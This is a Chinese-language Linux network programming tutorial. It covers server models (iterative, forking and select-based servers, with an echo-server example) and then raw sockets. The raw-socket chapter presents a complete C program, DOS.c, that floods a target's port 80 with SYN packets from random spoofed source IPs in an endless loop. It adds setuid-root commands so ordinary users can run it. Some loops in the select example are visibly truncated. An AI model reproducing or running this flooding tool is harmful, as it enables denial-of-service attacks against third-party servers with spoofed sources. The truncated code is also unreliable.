Linux网络编程入门-6

(九)Linux网络编程--9. 服务器模型

学习过《软件工程》吧.软件工程可是每一个程序员"必修"的课程啊.如果你没有学习过, 建议你去看一看. 在这一章里面,
我们一起来从软件工程的角度学习网络编程的思想.在我们写程序之前, 我们都应该从软件工程的角度规划好我们的软件,
这样我们开发软件的效率才会高. 在网络程序里面,一般的来说都是许多客户机对应一个服务器.为了处理客户机的请求, 
对服务端的程序就提出了特殊的要求.我们学习一下目前最常用的服务器模型.

<一>循环服务器:循环服务器在同一个时刻只可以响应一个客户端的请求

<二>并发服务器:并发服务器在同一个时刻可以响应多个客户端的请求

9.1 循环服务器:UDP服务器 
        UDP循环服务器的实现非常简单:UDP服务器每次从套接字上读取一个客户端的请求,处理, 然后将结果返回给客户机. 
可以用下面的算法来实现.

   socket(...);
   bind(...);
   while(1)
    {
         recvfrom(...);
         process(...);
         sendto(...);
   }
因为UDP是非面向连接的,没有一个客户端可以老是占住服务端. 只要处理过程不是死循环, 服务器对于每一个客户机的请求总是能够满足.

9.2 循环服务器:TCP服务器 
TCP循环服务器的实现也不难:TCP服务器接受一个客户端的连接,然后处理,完成了这个客户的所有请求后,断开连接.

算法如下: 
        socket(...);
        bind(...);
        listen(...);
        while(1)
        {
                accept(...);
                while(1)
                {
                        read(...);
                        process(...);
                        write(...);
                }
                close(...);
        }

TCP循环服务器一次只能处理一个客户端的请求.只有在这个客户的所有请求都满足后, 服务器才可以继续后面的请求.
这样如果有一个客户端占住服务器不放时,其它的客户机都不能工作了.因此,TCP服务器一般很少用循环服务器模型的.

9.3 并发服务器:TCP服务器 
        为了弥补循环TCP服务器的缺陷,人们又想出了并发服务器的模型. 并发服务器的思想是每一个客户机的请求并不由服务器
直接处理,而是服务器创建一个 子进程来处理.

算法如下:

  socket(...);
  bind(...);
  listen(...);
  while(1)
  {
        accept(...);
        if(fork(..)==0)
          {
              while(1)
               {        
                read(...);
                process(...);
                write(...);
               }
           close(...);
           exit(...);
          }
        close(...);
  }    

TCP并发服务器可以解决TCP循环服务器客户机独占服务器的情况. 不过也同时带来了一个不小的问题.为了响应客户机的请求,
服务器要创建子进程来处理. 而创建子进程是一种非常消耗资源的操作.

9.4 并发服务器:多路复用I/O 
为了解决创建子进程带来的系统资源消耗,人们又想出了多路复用I/O模型. 
首先介绍一个函数select

int select(int nfds,fd_set *readfds,fd_set *writefds,
                fd_set *except fds,struct timeval *timeout)
void FD_SET(int fd,fd_set *fdset)
void FD_CLR(int fd,fd_set *fdset)
void FD_ZERO(fd_set *fdset)
int FD_ISSET(int fd,fd_set *fdset)

一般的来说当我们在向文件读写时,进程有可能在读写出阻塞,直到一定的条件满足. 比如我们从一个套接字读数据时,可能缓冲区里面没有数据可读 (通信的对方还没有 发送数据过来),这个时候我们的读调用就会等待(阻塞)直到有数据可读.如果我们不 希望阻塞,我们的一个选择是用select系统调用. 只要我们设置好select的各个参数,那么当文件可以读写的时候select回"通知"我们 说可以读写了. readfds所有要读的文件文件描述符的集合 
writefds所有要的写文件文件描述符的集合

exceptfds其他的服要向我们通知的文件描述符

timeout超时设置.

nfds所有我们监控的文件描述符中最大的那一个加1

在我们调用select时进程会一直阻塞直到以下的一种情况发生. 1)有文件可以读.2)有文件可以写.3)超时所设置的时间到.

为了设置文件描述符我们要使用几个宏. FD_SET将fd加入到fdset

FD_CLR将fd从fdset里面清除

FD_ZERO从fdset中清除所有的文件描述符

FD_ISSET判断fd是否在fdset集合中

使用select的一个例子

int use_select(int *readfd,int n)
{
   fd_set my_readfd;
   int maxfd;
   int i;
   
   maxfd=readfd[0];
   for(i=1;i
    if(readfd[i]>maxfd) maxfd=readfd[i];
   while(1)
   {
        /*   将所有的文件描述符加入   */
        FD_ZERO(&my_readfd);
        for(i=0;i
            FD_SET(readfd[i],*my_readfd);
        /*     进程阻塞                 */
        select(maxfd+1,& my_readfd,NULL,NULL,NULL); 
        /*        有东西可以读了       */
        for(i=0;i
          if(FD_ISSET(readfd[i],&my_readfd))
              {
                  /* 原来是我可以读了  */ 
                        we_read(readfd[i]);
              }
   }
}

使用select后我们的服务器程序就变成了.

        初始话(socket,bind,listen);
        
    while(1)
        {
        设置监听读写文件描述符(FD_*);   
        
        调用select;
        
        如果是倾听套接字就绪,说明一个新的连接请求建立
             { 
                建立连接(accept);
                加入到监听文件描述符中去;
             }
       否则说明是一个已经连接过的描述符
                {
                    进行操作(read或者write);
                 }
                        
        }              

多路复用I/O可以解决资源限制的问题.这模型实际上是将UDP循环模型用在了TCP上面. 这也就带来了一些问题.
如由于服务器依次处理客户的请求,所以可能会导致有的客户 会等待很久.

9.5 并发服务器:UDP服务器 
人们把并发的概念用于UDP就得到了并发UDP服务器模型. 并发UDP服务器模型其实是简单的.和并发的TCP服务器模型一样是创建
一个子进程来处理的 算法和并发的TCP模型一样. 
除非服务器在处理客户端的请求所用的时间比较长以外,人们实际上很少用这种模型.

9.6 一个并发TCP服务器实例

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

#define MY_PORT         8888

int main(int argc ,char **argv)
{
int listen_fd,accept_fd;
struct sockaddr_in     client_addr;
int n;

if((listen_fd=socket(AF_INET,SOCK_STREAM,0))<0)
  {
        printf("Socket Error:%s\n\a",strerror(errno));
        exit(1);
  }

bzero(&client_addr,sizeof(struct sockaddr_in));
client_addr.sin_family=AF_INET;
client_addr.sin_port=htons(MY_PORT);
client_addr.sin_addr.s_addr=htonl(INADDR_ANY);
n=1;
/* 如果服务器终止后,服务器可以第二次快速启动而不用等待一段时间  */
setsockopt(listen_fd,SOL_SOCKET,SO_REUSEADDR,&n,sizeof(int));
if(bind(listen_fd,(struct sockaddr *)&client_addr,sizeof(client_addr))<0)
  {
        printf("Bind Error:%s\n\a",strerror(errno));
        exit(1);
  }
  listen(listen_fd,5);
  while(1)
  {
   accept_fd=accept(listen_fd,NULL,NULL);
   if((accept_fd<0)&&(errno==EINTR))
          continue;
   else if(accept_fd<0)
    {
        printf("Accept Error:%s\n\a",strerror(errno));
        continue;
    }
  if((n=fork())==0)
   {
        /* 子进程处理客户端的连接 */
        char buffer[1024];

        close(listen_fd);
        n=read(accept_fd,buffer,1024);
        write(accept_fd,buffer,n);
        close(accept_fd);
        exit(0);
   }
   else if(n<0)
        printf("Fork Error:%s\n\a",strerror(errno));
   close(accept_fd);
  }
}

你可以用我们前面写客户端程序来调试着程序,或者是用来telnet调试

(十)Linux网络编程--10. 原始套接字

 我们在前面已经学习过了网络程序的两种套接字(SOCK_STREAM,SOCK_DRAGM).在这一章 里面我们一起来学习另外
一种套接字--原始套接字(SOCK_RAW). 应用原始套接字,我们可以编写出由TCP和UDP套接字不能够实现的功能. 
注意原始套接字只能够由有 root权限的人创建.

10.1 原始套接字的创建

int sockfd(AF_INET,SOCK_RAW,protocol)

可以创建一个原始套接字.根据协议的类型不同我们可以创建不同类型的原始套接字 比如:IPPROTO_ICMP,IPPROTO_TCP,IPPROTO_UDP等等.
详细的情况查看 socket的man手册 下面我们以一个实例来说明原始套接字的创建和使用

10.2 一个原始套接字的实例 
还记得DOS是什么意思吗?在这里我们就一起来编写一个实现DOS的小程序. 下面是程序的源代码

/********************  DOS.c               *****************/
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <arpa/inet.h>

#define DESTPORT        80       /* 要攻击的端口(WEB)      */
#define LOCALPORT       8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);

int main(int argc,char **argv)
{
int sockfd;
struct sockaddr_in addr;
struct hostent *host;
int on=1;

if(argc!=2)
{
        fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
        exit(1);
}

bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);

if(inet_aton(argv[1],&addr.sin_addr)==0)
{
        host=gethostbyname(argv[1]);
        if(host==NULL)
        {
                fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                exit(1);
        }
        addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
}

/**** 使用IPPROTO_TCP创建一个TCP的原始套接字    ****/

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<0)
{
        fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
        exit(1);
}
/********  设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写  ***/

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

/****  没有办法,只用超级护用户才可以使用原始套接字    *********/
setuid(getpid());

/*********  发送炸弹了!!!!          ****/
send_tcp(sockfd,&addr);
}

 

/*******  发送炸弹的实现   *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100];  /**** 用来放置我们的数据包  ****/
struct ip *ip;
struct tcphdr *tcp;
int head_len;

/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度  ***/

head_len=sizeof(struct ip)+sizeof(struct tcphdr);

bzero(buffer,100);

/********  填充IP数据包的头部,还记得IP的头格式吗?     ******/ 
ip=(struct ip *)buffer;
ip->ip_v=IPVERSION;             /** 版本一般的是 4      **/
ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度  **/
ip->ip_tos=0;                   /** 服务类型            **/
ip->ip_len=htons(head_len);     /** IP数据包的长度      **/
ip->ip_id=0;                    /** 让系统去填写吧      **/
ip->ip_off=0;                   /** 和上面一样,省点时间 **/        
ip->ip_ttl=MAXTTL;              /** 最长的时间   255    **/
ip->ip_p=IPPROTO_TCP;           /** 我们要发的是 TCP包  **/ 
ip->ip_sum=0;                   /** 校验和让系统去做    **/
ip->ip_dst=addr->sin_addr;      /** 我们攻击的对象      **/

/*******  开始填写TCP数据包                           *****/
tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
tcp->source=htons(LOCALPORT);
tcp->dest=addr->sin_port;           /** 目的端口    **/
tcp->seq=random();
tcp->ack_seq=0;
tcp->doff=5;
tcp->syn=1;                        /** 我要建立连接 **/
tcp->check=0;

/** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^  **/
while(1)
  {
/**  你不知道我是从那里来的,慢慢的去等吧!      **/
    ip->ip_src.s_addr=random();    

/** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
/**            下面这条可有可无    */
    tcp->check=check_sum((unsigned short *)tcp,
                sizeof(struct tcphdr)); 
    sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
  }
}

/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
register int nleft=len;
register int sum=0;
register short *w=addr;
  short answer=0;

while(nleft>1)
{
  sum+=*w++;
  nleft-=2;
}
if(nleft==1)
{
  *(unsigned char *)(&answer)=*(unsigned char *)w;
  sum+=answer;
}
  
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}

编译一下,拿localhost做一下实验,看看有什么结果.(千万不要试别人的啊). 为了让普通用户可以运行这个程序,
我们应该将这个程序的所有者变为root,且 设置setuid位

[root@hoyt /root]#chown root DOS
[root@hoyt /root]#chmod +s DOS

10.3 总结 
原始套接字和一般的套接字不同的是以前许多由系统做的事情,现在要由我们自己来做了. 不过这里面是不是有很多的乐趣呢. 
当我们创建了一个 TCP套接字的时候,我们只是负责把我们要发送的内容(buffer)传递给了系统. 系统在收到我们的数据后,
回自动的调用相应的模块给数据加上TCP 头部,然后加上IP头部. 再发送出去.而现在是我们自己创建各个的头部,系统只是把它们
发送出去. 在上面的实例中,由于我们要修改我们的源IP地址, 所以我们使用了setsockopt函数,如果我们只是修改TCP数据,
那么IP数据一样也可以由系统来创建的.